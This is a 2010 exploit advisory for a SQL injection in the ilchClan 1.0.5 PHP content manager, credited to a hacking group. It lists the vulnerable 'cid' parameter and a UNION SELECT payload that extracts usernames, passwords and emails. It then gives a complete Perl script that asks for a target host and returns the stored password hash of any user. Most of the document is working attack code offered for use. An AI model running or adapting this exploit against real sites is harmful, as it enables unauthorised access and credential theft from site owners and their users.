ilchClan 1.0.5 SQL Injection

`----------------------------Information------------------------------------------------  
+Name : ilchClan <= 1.0.5 SQL Injection Vulnerability & Exploit  
+Autor : Easy Laster  
+Date : 05.04.2010  
+Script : ilchClan <= 1.0.5  
+Download : http://www.ilch.de/downloads-show-65.html  
+Demo : http://easystestsite.ea.ohost.de/  
+Price : for free  
+Language : PHP  
+Discovered by Easy Laster  
+Security Group 4004-Security-Project  
+Greetz to Team-Internet ,Underground Agents  
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,  
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,  
N00bor,Ic3Drag0n,novaca!ne.  
  
---------------------------------------------------------------------------------------  
  
___ ___ ___ ___ _ _ _____ _ _   
| | | | | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___| _ |___ ___ |_|___ ___| |_   
|_ | | | | |_ |___|_ -| -_| _| | | _| | _| | |___| __| _| . | | | -_| _| _|  
|_|___|___| |_| |___|___|___|___|_| |_|_| |_ | |__| |_| |___|_| |___|___|_|   
|___| |___|   
  
  
----------------------------------------------------------------------------------------  
+Vulnerability : http://www.site.com/ilchClan105/?m=downloads&cid=  
  
+Exploitable : http://www.site.com/ilchClan105/?m=downloads&cid=1+and+1=0+union+select  
+1,concat(name,0x3a,pass,0x3a,email)+from+ilchclan_user+where+id=1--  
  
  
-----------------------------------------------------------------------------------------  
  
#Exploit  
  
  
#!usr\bin\perl  
#  
#  
##################################################  
# Modules #  
#------------------------------------------------#   
use strict; # Better coding. #  
use warnings; # Useful warnings. #  
use LWP::Simple; # procedureal interface#  
##################################################  
print "  
##################################################  
# 4004-Security-Project #  
##################################################  
# ilchClan <= 1.0.5 SQL Injection #  
# Exploit #  
# Using Host+Path+Userid+prefix #  
# demo.de /ilchclan/ 1 ilchClan #  
# Easy Laster #  
##################################################  
\a\n";  
my($host,$path,$userid,$request);  
my($first,$block,$error,$dir,$prefix);  
$block = "  
##################################################\n";  
$error = "Exploit failed";  
print "$block";  
print q(Target demo.de->);  
chomp($host =<STDIN>);  
if ($host eq""){  
die "$error\a\n"};  
print "$block";  
print q(Path /path/ ->);  
chomp($path =<STDIN>);  
if ($path eq""){  
die "$error\a\n";}  
print "$block";  
print q(userid->);  
chomp($userid =<STDIN>);  
if ($userid eq""){  
die "$error\a\n";}  
print "$block";  
print q(prefix ilchClan ->);  
chomp($prefix =<STDIN>);  
if ($prefix eq""){  
die "$error\a\n";}  
print "$block";  
$dir = "?m=downloads&cid=";  
print "<~> Exploiting...\n";  
$host = "http://".$host.$path.$dir;  
print "<~> Connecting...\n";  
$request = get($host."1+and+1=0+union+select+1,concat(0x23,0x23,0x23,0x23,0x23,pass)+from+".$prefix."_user+where+id=".$userid."--");  
$first = rindex($request,"#####");  
if ($first != -1)  
{  
print "<~> Exploiting...\n";  
print "$block\n";  
$request = substr($request, $first+5, 32);  
print "<~> Hash = $request\n\r\n\a";  
}  
else  
{  
print "<~> $error";  
}  
`